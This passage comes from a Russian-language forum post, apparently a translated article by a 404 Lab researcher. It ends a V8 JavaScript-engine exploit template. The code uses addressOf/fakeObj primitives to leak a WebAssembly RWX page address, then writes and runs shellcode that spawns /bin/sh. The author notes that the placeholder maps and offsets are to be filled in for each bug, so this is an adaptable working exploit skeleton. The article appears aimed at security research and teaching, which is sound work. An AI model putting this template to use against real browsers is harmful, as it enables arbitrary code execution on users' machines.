  write64(buf_backing_store_addr_up, ftoi(rwx_page_addr_hi));
  for (let i = 0; i < shellcode.length; ++i)
    data_view.setFloat64(i * 8, itof(shellcode[i]), true);
}

var double_array = [1.1];
var obj = {"a" : 1};
var obj_array = [obj];
var array_map = ?;
var obj_map = ?;

var fake_array = [
  array_map,
  itof(0x4141414141414141n)
];

fake_array_addr = addressOf(fake_array);
console.log("[*] leak fake_array addr: 0x" + hex(fake_array_addr));
fake_object_addr = fake_array_addr - 0x10n;
var fake_object = fakeObj(fake_object_addr);
var wasm_instance_addr = addressOf(wasmInstance);
console.log("[*] leak wasm_instance addr: 0x" + hex(wasm_instance_addr));
var rwx_page_addr = read64(wasm_instance_addr + 0x68n);
console.log("[*] leak rwx_page_addr: 0x" + hex(ftoi(rwx_page_addr)));

var shellcode = [
  0x2fbb485299583b6an,
  0x5368732f6e69622fn,
  0x050f5e5457525f54n
];

copy_shellcode_to_rwx(shellcode, rwx_page_addr);
f();

Там, где вводятся вопросительные знаки, они должны быть написаны в каждом конкретном случае, а затем есть некоторые смещения, которые необходимо изменить для ситуации с v8, но основная структура в основном та же самая.

В последующих статьях я намерен применить несколько лазеек, которые я недавно исследовал и воспроизвел в этом шаблоне, чтобы объяснить их.
Автор: Hcamael@Know Chuangyu 404 Lab
Статья - вот эта

Продолжение следует...
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх